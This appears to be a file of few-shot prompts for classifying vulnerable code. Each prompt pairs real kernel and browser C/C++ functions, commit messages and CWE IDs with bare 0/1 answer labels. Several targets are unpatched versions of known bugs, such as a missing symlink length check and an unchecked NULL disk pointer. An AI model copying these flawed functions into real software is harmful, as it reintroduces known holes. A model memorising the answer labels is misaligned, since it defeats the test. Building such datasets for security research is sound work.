Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: epass2003_sm_unwrap_apdu(struct sc_card *card, struct sc_apdu *sm, struct sc_apdu *plain) { int r; size_t len = 0; epass2003_exdata *exdata = NULL; if (!card->drv_data) return SC_ERROR_INVALID_ARGUMENTS; exdata = (epass2003_exdata *)card->drv_data; LOG_FUNC_CALLED(card->ctx); r = sc_check_sw(card, sm->sw1, sm->sw2); if (r == SC_SUCCESS) { if (exdata->sm) { if (0 != decrypt_response(card, sm->resp, plain->resp, &len)) return SC_ERROR_CARD_CMD_FAILED; } else { memcpy(plain->resp, sm->resp, sm->resplen); len = sm->resplen; } } plain->resplen = len; plain->sw1 = sm->sw1; plain->sw2 = sm->sw2; sc_log(card->ctx, "unwrapped APDU: resplen %"SC_FORMAT_LEN_SIZE_T"u, SW %02X%02X", plain->resplen, plain->sw1, plain->sw2); LOG_FUNC_RETURN(card->ctx, SC_SUCCESS); } Commit Message: fixed out of bounds reads Thanks to Eric Sesterhenn from X41 D-SEC GmbH for reporting and suggesting security fixes. CWE ID: CWE-125 Target: 1 Example 2: Code: static int sctp_getsockopt_active_key(struct sock *sk, int len, char __user *optval, int __user *optlen) { struct sctp_endpoint *ep = sctp_sk(sk)->ep; struct sctp_authkeyid val; struct sctp_association *asoc; if (!ep->auth_enable) return -EACCES; if (len < sizeof(struct sctp_authkeyid)) return -EINVAL; if (copy_from_user(&val, optval, sizeof(struct sctp_authkeyid))) return -EFAULT; asoc = sctp_id2assoc(sk, val.scact_assoc_id); if (!asoc && val.scact_assoc_id && sctp_style(sk, UDP)) return -EINVAL; if (asoc) val.scact_keynumber = asoc->active_key_id; else val.scact_keynumber = ep->active_key_id; len = sizeof(struct sctp_authkeyid); if (put_user(len, optlen)) return -EFAULT; if (copy_to_user(optval, &val, len)) return -EFAULT; return 0; } Commit Message: sctp: fix ASCONF list handling ->auto_asconf_splist is per namespace and mangled by functions like sctp_setsockopt_auto_asconf() which doesn't guarantee any serialization. Also, the call to inet_sk_copy_descendant() was backuping ->auto_asconf_list through the copy but was not honoring ->do_auto_asconf, which could lead to list corruption if it was different between both sockets. This commit thus fixes the list handling by using ->addr_wq_lock spinlock to protect the list. A special handling is done upon socket creation and destruction for that. Error handlig on sctp_init_sock() will never return an error after having initialized asconf, so sctp_destroy_sock() can be called without addrq_wq_lock. The lock now will be take on sctp_close_sock(), before locking the socket, so we don't do it in inverse order compared to sctp_addr_wq_timeout_handler(). Instead of taking the lock on sctp_sock_migrate() for copying and restoring the list values, it's preferred to avoid rewritting it by implementing sctp_copy_descendant(). Issue was found with a test application that kept flipping sysctl default_auto_asconf on and off, but one could trigger it by issuing simultaneous setsockopt() calls on multiple sockets or by creating/destroying sockets fast enough. This is only triggerable locally. Fixes: 9f7d653b67ae ("sctp: Add Auto-ASCONF support (core).") Reported-by: Ji Jianwen <[email protected]> Suggested-by: Neil Horman <[email protected]> Suggested-by: Hannes Frederic Sowa <[email protected]> Acked-by: Hannes Frederic Sowa <[email protected]> Signed-off-by: Marcelo Ricardo Leitner <[email protected]> Signed-off-by: David S. Miller <[email protected]> CWE ID: CWE-362 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: void WebRuntimeFeatures::EnablePortals(bool enable) { RuntimeEnabledFeatures::SetPortalsEnabled(enable); } Commit Message: Remove RequireCSSExtensionForFile runtime enabled flag. The feature has long since been stable (since M64) and doesn't seem to be a need for this flag. BUG=788936 Change-Id: I666390b869289c328acb4a2daa5bf4154e1702c0 Reviewed-on: https://chromium-review.googlesource.com/c/1324143 Reviewed-by: Mike West <[email protected]> Reviewed-by: Camille Lamy <[email protected]> Commit-Queue: Dave Tapuska <[email protected]> Cr-Commit-Position: refs/heads/master@{#607329} CWE ID: CWE-254 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: static void detect_allow_debuggers(int argc, char **argv) { int i; for (i = 1; i < argc; i++) { if (strcmp(argv[i], "--allow-debuggers") == 0) { arg_allow_debuggers = 1; break; } if (strcmp(argv[i], "--") == 0) break; if (strncmp(argv[i], "--", 2) != 0) break; } } Commit Message: security fix CWE ID: Target: 1 Example 2: Code: static int sctp_bind(struct sock *sk, struct sockaddr *addr, int addr_len) { int retval = 0; lock_sock(sk); pr_debug("%s: sk:%p, addr:%p, addr_len:%d\n", __func__, sk, addr, addr_len); /* Disallow binding twice. */ if (!sctp_sk(sk)->ep->base.bind_addr.port) retval = sctp_do_bind(sk, (union sctp_addr *)addr, addr_len); else retval = -EINVAL; release_sock(sk); return retval; } Commit Message: sctp: fix ASCONF list handling ->auto_asconf_splist is per namespace and mangled by functions like sctp_setsockopt_auto_asconf() which doesn't guarantee any serialization. Also, the call to inet_sk_copy_descendant() was backuping ->auto_asconf_list through the copy but was not honoring ->do_auto_asconf, which could lead to list corruption if it was different between both sockets. This commit thus fixes the list handling by using ->addr_wq_lock spinlock to protect the list. A special handling is done upon socket creation and destruction for that. Error handlig on sctp_init_sock() will never return an error after having initialized asconf, so sctp_destroy_sock() can be called without addrq_wq_lock. The lock now will be take on sctp_close_sock(), before locking the socket, so we don't do it in inverse order compared to sctp_addr_wq_timeout_handler(). Instead of taking the lock on sctp_sock_migrate() for copying and restoring the list values, it's preferred to avoid rewritting it by implementing sctp_copy_descendant(). Issue was found with a test application that kept flipping sysctl default_auto_asconf on and off, but one could trigger it by issuing simultaneous setsockopt() calls on multiple sockets or by creating/destroying sockets fast enough. This is only triggerable locally. Fixes: 9f7d653b67ae ("sctp: Add Auto-ASCONF support (core).") Reported-by: Ji Jianwen <[email protected]> Suggested-by: Neil Horman <[email protected]> Suggested-by: Hannes Frederic Sowa <[email protected]> Acked-by: Hannes Frederic Sowa <[email protected]> Signed-off-by: Marcelo Ricardo Leitner <[email protected]> Signed-off-by: David S. Miller <[email protected]> CWE ID: CWE-362 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static void pcd_init_units(void) { struct pcd_unit *cd; int unit; pcd_drive_count = 0; for (unit = 0, cd = pcd; unit < PCD_UNITS; unit++, cd++) { struct gendisk *disk = alloc_disk(1); if (!disk) continue; disk->queue = blk_mq_init_sq_queue(&cd->tag_set, &pcd_mq_ops, 1, BLK_MQ_F_SHOULD_MERGE); if (IS_ERR(disk->queue)) { disk->queue = NULL; continue; } INIT_LIST_HEAD(&cd->rq_list); disk->queue->queuedata = cd; blk_queue_bounce_limit(disk->queue, BLK_BOUNCE_HIGH); cd->disk = disk; cd->pi = &cd->pia; cd->present = 0; cd->last_sense = 0; cd->changed = 1; cd->drive = (*drives[unit])[D_SLV]; if ((*drives[unit])[D_PRT]) pcd_drive_count++; cd->name = &cd->info.name[0]; snprintf(cd->name, sizeof(cd->info.name), "%s%d", name, unit); cd->info.ops = &pcd_dops; cd->info.handle = cd; cd->info.speed = 0; cd->info.capacity = 1; cd->info.mask = 0; disk->major = major; disk->first_minor = unit; strcpy(disk->disk_name, cd->name); /* umm... */ disk->fops = &pcd_bdops; disk->flags = GENHD_FL_BLOCK_EVENTS_ON_EXCL_WRITE; } } Commit Message: paride/pcd: Fix potential NULL pointer dereference and mem leak Syzkaller report this: pcd: pcd version 1.07, major 46, nice 0 pcd0: Autoprobe failed pcd: No CD-ROM drive found kasan: CONFIG_KASAN_INLINE enabled kasan: GPF could be caused by NULL-ptr deref or user memory access general protection fault: 0000 [#1] SMP KASAN PTI CPU: 1 PID: 4525 Comm: syz-executor.0 Not tainted 5.1.0-rc3+ #8 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.2-1ubuntu1 04/01/2014 RIP: 0010:pcd_init+0x95c/0x1000 [pcd] Code: c4 ab f7 48 89 d8 48 c1 e8 03 80 3c 28 00 74 08 48 89 df e8 56 a3 da f7 4c 8b 23 49 8d bc 24 80 05 00 00 48 89 f8 48 c1 e8 03 <80> 3c 28 00 74 05 e8 39 a3 da f7 49 8b bc 24 80 05 00 00 e8 cc b2 RSP: 0018:ffff8881e84df880 EFLAGS: 00010202 RAX: 00000000000000b0 RBX: ffffffffc155a088 RCX: ffffffffc1508935 RDX: 0000000000040000 RSI: ffffc900014f0000 RDI: 0000000000000580 RBP: dffffc0000000000 R08: ffffed103ee658b8 R09: ffffed103ee658b8 R10: 0000000000000001 R11: ffffed103ee658b7 R12: 0000000000000000 R13: ffffffffc155a778 R14: ffffffffc155a4a8 R15: 0000000000000003 FS: 00007fe71bee3700(0000) GS:ffff8881f7300000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000055a7334441a8 CR3: 00000001e9674003 CR4: 00000000007606e0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 PKRU: 55555554 Call Trace: ? 0xffffffffc1508000 ? 0xffffffffc1508000 do_one_initcall+0xbc/0x47d init/main.c:901 do_init_module+0x1b5/0x547 kernel/module.c:3456 load_module+0x6405/0x8c10 kernel/module.c:3804 __do_sys_finit_module+0x162/0x190 kernel/module.c:3898 do_syscall_64+0x9f/0x450 arch/x86/entry/common.c:290 entry_SYSCALL_64_after_hwframe+0x49/0xbe RIP: 0033:0x462e99 Code: f7 d8 64 89 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 48 89 f8 48 89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48 RSP: 002b:00007fe71bee2c58 EFLAGS: 00000246 ORIG_RAX: 0000000000000139 RAX: ffffffffffffffda RBX: 000000000073bf00 RCX: 0000000000462e99 RDX: 0000000000000000 RSI: 0000000020000180 RDI: 0000000000000003 RBP: 00007fe71bee2c70 R08: 0000000000000000 R09: 0000000000000000 R10: 0000000000000000 R11: 0000000000000246 R12: 00007fe71bee36bc R13: 00000000004bcefa R14: 00000000006f6fb0 R15: 0000000000000004 Modules linked in: pcd(+) paride solos_pci atm ts_fsm rtc_mt6397 mac80211 nhc_mobility nhc_udp nhc_ipv6 nhc_hop nhc_dest nhc_fragment nhc_routing 6lowpan rtc_cros_ec memconsole intel_xhci_usb_role_switch roles rtc_wm8350 usbcore industrialio_triggered_buffer kfifo_buf industrialio asc7621 dm_era dm_persistent_data dm_bufio dm_mod tpm gnss_ubx gnss_serial serdev gnss max2165 cpufreq_dt hid_penmount hid menf21bmc_wdt rc_core n_tracesink ide_gd_mod cdns_csi2tx v4l2_fwnode videodev media pinctrl_lewisburg pinctrl_intel iptable_security iptable_raw iptable_mangle iptable_nat nf_nat nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 iptable_filter bpfilter ip6_vti ip_vti ip_gre ipip sit tunnel4 ip_tunnel hsr veth netdevsim vxcan batman_adv cfg80211 rfkill chnl_net caif nlmon dummy team bonding vcan bridge stp llc ip6_gre gre ip6_tunnel tunnel6 tun joydev mousedev ppdev kvm_intel kvm irqbypass crct10dif_pclmul crc32_pclmul crc32c_intel ghash_clmulni_intel aesni_intel aes_x86_64 crypto_simd ide_pci_generic piix input_leds cryptd glue_helper psmouse ide_core intel_agp serio_raw intel_gtt ata_generic i2c_piix4 agpgart pata_acpi parport_pc parport floppy rtc_cmos sch_fq_codel ip_tables x_tables sha1_ssse3 sha1_generic ipv6 [last unloaded: bmc150_magn] Dumping ftrace buffer: (ftrace buffer empty) ---[ end trace d873691c3cd69f56 ]--- If alloc_disk fails in pcd_init_units, cd->disk will be NULL, however in pcd_detect and pcd_exit, it's not check this before free.It may result a NULL pointer dereference. Also when register_blkdev failed, blk_cleanup_queue() and blk_mq_free_tag_set() should be called to free resources. Reported-by: Hulk Robot <[email protected]> Fixes: 81b74ac68c28 ("paride/pcd: cleanup queues when detection fails") Signed-off-by: YueHaibing <[email protected]> Signed-off-by: Jens Axboe <[email protected]> CWE ID: CWE-476 Output:
1
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: void FrameLoader::ReplaceDocumentWhileExecutingJavaScriptURL( const String& source, Document* owner_document) { Document* document = frame_->GetDocument(); if (!document_loader_ || document->PageDismissalEventBeingDispatched() != Document::kNoDismissal) return; UseCounter::Count(*document, WebFeature::kReplaceDocumentViaJavaScriptURL); const KURL& url = document->Url(); WebGlobalObjectReusePolicy global_object_reuse_policy = frame_->ShouldReuseDefaultView(url) ? WebGlobalObjectReusePolicy::kUseExisting : WebGlobalObjectReusePolicy::kCreateNew; StopAllLoaders(); SubframeLoadingDisabler disabler(document); frame_->DetachChildren(); if (!frame_->IsAttached() || document != frame_->GetDocument()) return; frame_->GetDocument()->Shutdown(); Client()->TransitionToCommittedForNewPage(); document_loader_->ReplaceDocumentWhileExecutingJavaScriptURL( url, owner_document, global_object_reuse_policy, source); } Commit Message: Prevent sandboxed documents from reusing the default window Bug: 377995 Change-Id: Iff66c6d214dfd0cb7ea9c80f83afeedfff703541 Reviewed-on: https://chromium-review.googlesource.com/983558 Commit-Queue: Andy Paicu <[email protected]> Reviewed-by: Daniel Cheng <[email protected]> Cr-Commit-Position: refs/heads/master@{#567663} CWE ID: CWE-285 Target: 1 Example 2: Code: static journal_t *ext4_get_dev_journal(struct super_block *sb, dev_t j_dev) { struct buffer_head *bh; journal_t *journal; ext4_fsblk_t start; ext4_fsblk_t len; int hblock, blocksize; ext4_fsblk_t sb_block; unsigned long offset; struct ext4_super_block *es; struct block_device *bdev; BUG_ON(!EXT4_HAS_COMPAT_FEATURE(sb, EXT4_FEATURE_COMPAT_HAS_JOURNAL)); bdev = ext4_blkdev_get(j_dev, sb); if (bdev == NULL) return NULL; if (bd_claim(bdev, sb)) { ext4_msg(sb, KERN_ERR, "failed to claim external journal device"); blkdev_put(bdev, FMODE_READ|FMODE_WRITE); return NULL; } blocksize = sb->s_blocksize; hblock = bdev_logical_block_size(bdev); if (blocksize < hblock) { ext4_msg(sb, KERN_ERR, "blocksize too small for journal device"); goto out_bdev; } sb_block = EXT4_MIN_BLOCK_SIZE / blocksize; offset = EXT4_MIN_BLOCK_SIZE % blocksize; set_blocksize(bdev, blocksize); if (!(bh = __bread(bdev, sb_block, blocksize))) { ext4_msg(sb, KERN_ERR, "couldn't read superblock of " "external journal"); goto out_bdev; } es = (struct ext4_super_block *) (((char *)bh->b_data) + offset); if ((le16_to_cpu(es->s_magic) != EXT4_SUPER_MAGIC) || !(le32_to_cpu(es->s_feature_incompat) & EXT4_FEATURE_INCOMPAT_JOURNAL_DEV)) { ext4_msg(sb, KERN_ERR, "external journal has " "bad superblock"); brelse(bh); goto out_bdev; } if (memcmp(EXT4_SB(sb)->s_es->s_journal_uuid, es->s_uuid, 16)) { ext4_msg(sb, KERN_ERR, "journal UUID does not match"); brelse(bh); goto out_bdev; } len = ext4_blocks_count(es); start = sb_block + 1; brelse(bh); /* we're done with the superblock */ journal = jbd2_journal_init_dev(bdev, sb->s_bdev, start, len, blocksize); if (!journal) { ext4_msg(sb, KERN_ERR, "failed to create device journal"); goto out_bdev; } journal->j_private = sb; ll_rw_block(READ, 1, &journal->j_sb_buffer); wait_on_buffer(journal->j_sb_buffer); if (!buffer_uptodate(journal->j_sb_buffer)) { ext4_msg(sb, KERN_ERR, "I/O error on journal device"); goto out_journal; } if (be32_to_cpu(journal->j_superblock->s_nr_users) != 1) { ext4_msg(sb, KERN_ERR, "External journal has more than one " "user (unsupported) - %d", be32_to_cpu(journal->j_superblock->s_nr_users)); goto out_journal; } EXT4_SB(sb)->journal_bdev = bdev; ext4_init_journal_params(sb, journal); return journal; out_journal: jbd2_journal_destroy(journal); out_bdev: ext4_blkdev_put(bdev); return NULL; } Commit Message: ext4: use ext4_get_block_write in buffer write Allocate uninitialized extent before ext4 buffer write and convert the extent to initialized after io completes. The purpose is to make sure an extent can only be marked initialized after it has been written with new data so we can safely drop the i_mutex lock in ext4 DIO read without exposing stale data. This helps to improve multi-thread DIO read performance on high-speed disks. Skip the nobh and data=journal mount cases to make things simple for now. Signed-off-by: Jiaying Zhang <[email protected]> Signed-off-by: "Theodore Ts'o" <[email protected]> CWE ID: Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: void setJSTestObjStringAttr(ExecState* exec, JSObject* thisObject, JSValue value) { JSTestObj* castedThis = jsCast<JSTestObj*>(thisObject); TestObj* impl = static_cast<TestObj*>(castedThis->impl()); impl->setStringAttr(ustringToString(value.isEmpty() ? UString() : value.toString(exec)->value(exec))); } Commit Message: [JSC] Implement a helper method createNotEnoughArgumentsError() https://bugs.webkit.org/show_bug.cgi?id=85102 Reviewed by Geoffrey Garen. In bug 84787, kbr@ requested to avoid hard-coding createTypeError(exec, "Not enough arguments") here and there. This patch implements createNotEnoughArgumentsError(exec) and uses it in JSC bindings. c.f. a corresponding bug for V8 bindings is bug 85097. Source/JavaScriptCore: * runtime/Error.cpp: (JSC::createNotEnoughArgumentsError): (JSC): * runtime/Error.h: (JSC): Source/WebCore: Test: bindings/scripts/test/TestObj.idl * bindings/scripts/CodeGeneratorJS.pm: Modified as described above. (GenerateArgumentsCountCheck): * bindings/js/JSDataViewCustom.cpp: Ditto. (WebCore::getDataViewMember): (WebCore::setDataViewMember): * bindings/js/JSDeprecatedPeerConnectionCustom.cpp: (WebCore::JSDeprecatedPeerConnectionConstructor::constructJSDeprecatedPeerConnection): * bindings/js/JSDirectoryEntryCustom.cpp: (WebCore::JSDirectoryEntry::getFile): (WebCore::JSDirectoryEntry::getDirectory): * bindings/js/JSSharedWorkerCustom.cpp: (WebCore::JSSharedWorkerConstructor::constructJSSharedWorker): * bindings/js/JSWebKitMutationObserverCustom.cpp: (WebCore::JSWebKitMutationObserverConstructor::constructJSWebKitMutationObserver): (WebCore::JSWebKitMutationObserver::observe): * bindings/js/JSWorkerCustom.cpp: (WebCore::JSWorkerConstructor::constructJSWorker): * bindings/scripts/test/JS/JSFloat64Array.cpp: Updated run-bindings-tests. (WebCore::jsFloat64ArrayPrototypeFunctionFoo): * bindings/scripts/test/JS/JSTestActiveDOMObject.cpp: (WebCore::jsTestActiveDOMObjectPrototypeFunctionExcitingFunction): (WebCore::jsTestActiveDOMObjectPrototypeFunctionPostMessage): * bindings/scripts/test/JS/JSTestCustomNamedGetter.cpp: (WebCore::jsTestCustomNamedGetterPrototypeFunctionAnotherFunction): * bindings/scripts/test/JS/JSTestEventTarget.cpp: (WebCore::jsTestEventTargetPrototypeFunctionItem): (WebCore::jsTestEventTargetPrototypeFunctionAddEventListener): (WebCore::jsTestEventTargetPrototypeFunctionRemoveEventListener): (WebCore::jsTestEventTargetPrototypeFunctionDispatchEvent): * bindings/scripts/test/JS/JSTestInterface.cpp: (WebCore::JSTestInterfaceConstructor::constructJSTestInterface): (WebCore::jsTestInterfacePrototypeFunctionSupplementalMethod2): * bindings/scripts/test/JS/JSTestMediaQueryListListener.cpp: (WebCore::jsTestMediaQueryListListenerPrototypeFunctionMethod): * bindings/scripts/test/JS/JSTestNamedConstructor.cpp: (WebCore::JSTestNamedConstructorNamedConstructor::constructJSTestNamedConstructor): * bindings/scripts/test/JS/JSTestObj.cpp: (WebCore::JSTestObjConstructor::constructJSTestObj): (WebCore::jsTestObjPrototypeFunctionVoidMethodWithArgs): (WebCore::jsTestObjPrototypeFunctionIntMethodWithArgs): (WebCore::jsTestObjPrototypeFunctionObjMethodWithArgs): (WebCore::jsTestObjPrototypeFunctionMethodWithSequenceArg): (WebCore::jsTestObjPrototypeFunctionMethodReturningSequence): (WebCore::jsTestObjPrototypeFunctionMethodThatRequiresAllArgsAndThrows): (WebCore::jsTestObjPrototypeFunctionSerializedValue): (WebCore::jsTestObjPrototypeFunctionIdbKey): (WebCore::jsTestObjPrototypeFunctionOptionsObject): (WebCore::jsTestObjPrototypeFunctionAddEventListener): (WebCore::jsTestObjPrototypeFunctionRemoveEventListener): (WebCore::jsTestObjPrototypeFunctionMethodWithNonOptionalArgAndOptionalArg): (WebCore::jsTestObjPrototypeFunctionMethodWithNonOptionalArgAndTwoOptionalArgs): (WebCore::jsTestObjPrototypeFunctionMethodWithCallbackArg): (WebCore::jsTestObjPrototypeFunctionMethodWithNonCallbackArgAndCallbackArg): (WebCore::jsTestObjPrototypeFunctionOverloadedMethod1): (WebCore::jsTestObjPrototypeFunctionOverloadedMethod2): (WebCore::jsTestObjPrototypeFunctionOverloadedMethod3): (WebCore::jsTestObjPrototypeFunctionOverloadedMethod4): (WebCore::jsTestObjPrototypeFunctionOverloadedMethod5): (WebCore::jsTestObjPrototypeFunctionOverloadedMethod6): (WebCore::jsTestObjPrototypeFunctionOverloadedMethod7): (WebCore::jsTestObjConstructorFunctionClassMethod2): (WebCore::jsTestObjConstructorFunctionOverloadedMethod11): (WebCore::jsTestObjConstructorFunctionOverloadedMethod12): (WebCore::jsTestObjPrototypeFunctionMethodWithUnsignedLongArray): (WebCore::jsTestObjPrototypeFunctionConvert1): (WebCore::jsTestObjPrototypeFunctionConvert2): (WebCore::jsTestObjPrototypeFunctionConvert3): (WebCore::jsTestObjPrototypeFunctionConvert4): (WebCore::jsTestObjPrototypeFunctionConvert5): (WebCore::jsTestObjPrototypeFunctionStrictFunction): * bindings/scripts/test/JS/JSTestSerializedScriptValueInterface.cpp: (WebCore::JSTestSerializedScriptValueInterfaceConstructor::constructJSTestSerializedScriptValueInterface): (WebCore::jsTestSerializedScriptValueInterfacePrototypeFunctionAcceptTransferList): git-svn-id: svn://svn.chromium.org/blink/trunk@115536 bbb929c8-8fbe-4397-9dbb-9b2b20218538 CWE ID: CWE-20 Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: static void reflectUrlStringAttributeAttributeSetter(v8::Local<v8::Value> v8Value, const v8::FunctionCallbackInfo<v8::Value>& info) { v8::Local<v8::Object> holder = info.Holder(); Element* impl = V8Element::toImpl(holder); V8StringResource<> cppValue = v8Value; if (!cppValue.prepare()) return; impl->setAttribute(HTMLNames::reflecturlstringattributeAttr, cppValue); } Commit Message: binding: Removes unused code in templates/attributes.cpp. Faking {{cpp_class}} and {{c8_class}} doesn't make sense. Probably it made sense before the introduction of virtual ScriptWrappable::wrap(). Checking the existence of window->document() doesn't seem making sense to me, and CQ tests seem passing without the check. BUG= Review-Url: https://codereview.chromium.org/2268433002 Cr-Commit-Position: refs/heads/master@{#413375} CWE ID: CWE-189 Target: 1 Example 2: Code: ZEND_API int zend_declare_class_constant_bool(zend_class_entry *ce, const char *name, size_t name_length, zend_bool value TSRMLS_DC) /* {{{ */ { zval *constant; if (ce->type & ZEND_INTERNAL_CLASS) { ALLOC_PERMANENT_ZVAL(constant); } else { ALLOC_ZVAL(constant); } ZVAL_BOOL(constant, value); INIT_PZVAL(constant); return zend_declare_class_constant(ce, name, name_length, constant TSRMLS_CC); } /* }}} */ Commit Message: CWE ID: CWE-416 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static int ext4_journalled_write_end(struct file *file, struct address_space *mapping, loff_t pos, unsigned len, unsigned copied, struct page *page, void *fsdata) { handle_t *handle = ext4_journal_current_handle(); struct inode *inode = mapping->host; int ret = 0, ret2; int partial = 0; unsigned from, to; loff_t new_i_size; trace_ext4_journalled_write_end(inode, pos, len, copied); from = pos & (PAGE_CACHE_SIZE - 1); to = from + len; if (copied < len) { if (!PageUptodate(page)) copied = 0; page_zero_new_buffers(page, from+copied, to); } ret = walk_page_buffers(handle, page_buffers(page), from, to, &partial, write_end_fn); if (!partial) SetPageUptodate(page); new_i_size = pos + copied; if (new_i_size > inode->i_size) i_size_write(inode, pos+copied); ext4_set_inode_state(inode, EXT4_STATE_JDATA); if (new_i_size > EXT4_I(inode)->i_disksize) { ext4_update_i_disksize(inode, new_i_size); ret2 = ext4_mark_inode_dirty(handle, inode); if (!ret) ret = ret2; } unlock_page(page); page_cache_release(page); if (pos + len > inode->i_size && ext4_can_truncate(inode)) /* if we have allocated more blocks and copied * less. We will have blocks allocated outside * inode->i_size. So truncate them */ ext4_orphan_add(handle, inode); ret2 = ext4_journal_stop(handle); if (!ret) ret = ret2; if (pos + len > inode->i_size) { ext4_truncate_failed_write(inode); /* * If truncate failed early the inode might still be * on the orphan list; we need to make sure the inode * is removed from the orphan list in that case. */ if (inode->i_nlink) ext4_orphan_del(NULL, inode); } return ret ? ret : copied; } Commit Message: ext4: use ext4_get_block_write in buffer write Allocate uninitialized extent before ext4 buffer write and convert the extent to initialized after io completes. The purpose is to make sure an extent can only be marked initialized after it has been written with new data so we can safely drop the i_mutex lock in ext4 DIO read without exposing stale data. This helps to improve multi-thread DIO read performance on high-speed disks. Skip the nobh and data=journal mount cases to make things simple for now. Signed-off-by: Jiaying Zhang <[email protected]> Signed-off-by: "Theodore Ts'o" <[email protected]> CWE ID: Output:
0
Here are some example code snippets. Analyze the following code, commit message, CWE ID and the target value where 1 indicates the code has vulnerability and 0 indicates non-vulnerable code. Example 1: Code: ext2_set_acl(struct inode *inode, struct posix_acl *acl, int type) { int name_index; void *value = NULL; size_t size = 0; int error; switch(type) { case ACL_TYPE_ACCESS: name_index = EXT2_XATTR_INDEX_POSIX_ACL_ACCESS; if (acl) { error = posix_acl_equiv_mode(acl, &inode->i_mode); if (error < 0) return error; else { inode->i_ctime = CURRENT_TIME_SEC; mark_inode_dirty(inode); if (error == 0) acl = NULL; } } break; case ACL_TYPE_DEFAULT: name_index = EXT2_XATTR_INDEX_POSIX_ACL_DEFAULT; if (!S_ISDIR(inode->i_mode)) return acl ? -EACCES : 0; break; default: return -EINVAL; } if (acl) { value = ext2_acl_to_disk(acl, &size); if (IS_ERR(value)) return (int)PTR_ERR(value); } error = ext2_xattr_set(inode, name_index, "", value, size, 0); kfree(value); if (!error) set_cached_acl(inode, type, acl); return error; } Commit Message: posix_acl: Clear SGID bit when setting file permissions When file permissions are modified via chmod(2) and the user is not in the owning group or capable of CAP_FSETID, the setgid bit is cleared in inode_change_ok(). Setting a POSIX ACL via setxattr(2) sets the file permissions as well as the new ACL, but doesn't clear the setgid bit in a similar way; this allows to bypass the check in chmod(2). Fix that. References: CVE-2016-7097 Reviewed-by: Christoph Hellwig <[email protected]> Reviewed-by: Jeff Layton <[email protected]> Signed-off-by: Jan Kara <[email protected]> Signed-off-by: Andreas Gruenbacher <[email protected]> CWE ID: CWE-285 Target: 1 Example 2: Code: int FS_PathCmp( const char *s1, const char *s2 ) { int c1, c2; do { c1 = *s1++; c2 = *s2++; if ( c1 >= 'a' && c1 <= 'z' ) { c1 -= ( 'a' - 'A' ); } if ( c2 >= 'a' && c2 <= 'z' ) { c2 -= ( 'a' - 'A' ); } if ( c1 == '\\' || c1 == ':' ) { c1 = '/'; } if ( c2 == '\\' || c2 == ':' ) { c2 = '/'; } if ( c1 < c2 ) { return -1; // strings not equal } if ( c1 > c2 ) { return 1; } } while ( c1 ); return 0; // strings are equal } Commit Message: All: Don't load .pk3s as .dlls, and don't load user config files from .pk3s CWE ID: CWE-269 Target: 0 Now analyze the following code, commit message, and CWE ID. Determine whether it has a vulnerability. If it does, return '1'; if it doesn't, return '0'. Remember, I want response in '1' or '0'. Do Not respond with explanation. Code: static int udf_symlink_filler(struct file *file, struct page *page) { struct inode *inode = page->mapping->host; struct buffer_head *bh = NULL; unsigned char *symlink; int err; unsigned char *p = kmap(page); struct udf_inode_info *iinfo; uint32_t pos; /* We don't support symlinks longer than one block */ if (inode->i_size > inode->i_sb->s_blocksize) { err = -ENAMETOOLONG; goto out_unmap; } iinfo = UDF_I(inode); pos = udf_block_map(inode, 0); down_read(&iinfo->i_data_sem); if (iinfo->i_alloc_type == ICBTAG_FLAG_AD_IN_ICB) { symlink = iinfo->i_ext.i_data + iinfo->i_lenEAttr; } else { bh = sb_bread(inode->i_sb, pos); if (!bh) { err = -EIO; goto out_unlock_inode; } symlink = bh->b_data; } udf_pc_to_char(inode->i_sb, symlink, inode->i_size, p); brelse(bh); up_read(&iinfo->i_data_sem); SetPageUptodate(page); kunmap(page); unlock_page(page); return 0; out_unlock_inode: up_read(&iinfo->i_data_sem); SetPageError(page); out_unmap: kunmap(page); unlock_page(page); return err; } Commit Message: udf: Check path length when reading symlink Symlink reading code does not check whether the resulting path fits into the page provided by the generic code. This isn't as easy as just checking the symlink size because of various encoding conversions we perform on path. So we have to check whether there is still enough space in the buffer on the fly. CC: [email protected] Reported-by: Carl Henrik Lunde <[email protected]> Signed-off-by: Jan Kara <[email protected]> CWE ID: CWE-17 Output:
1
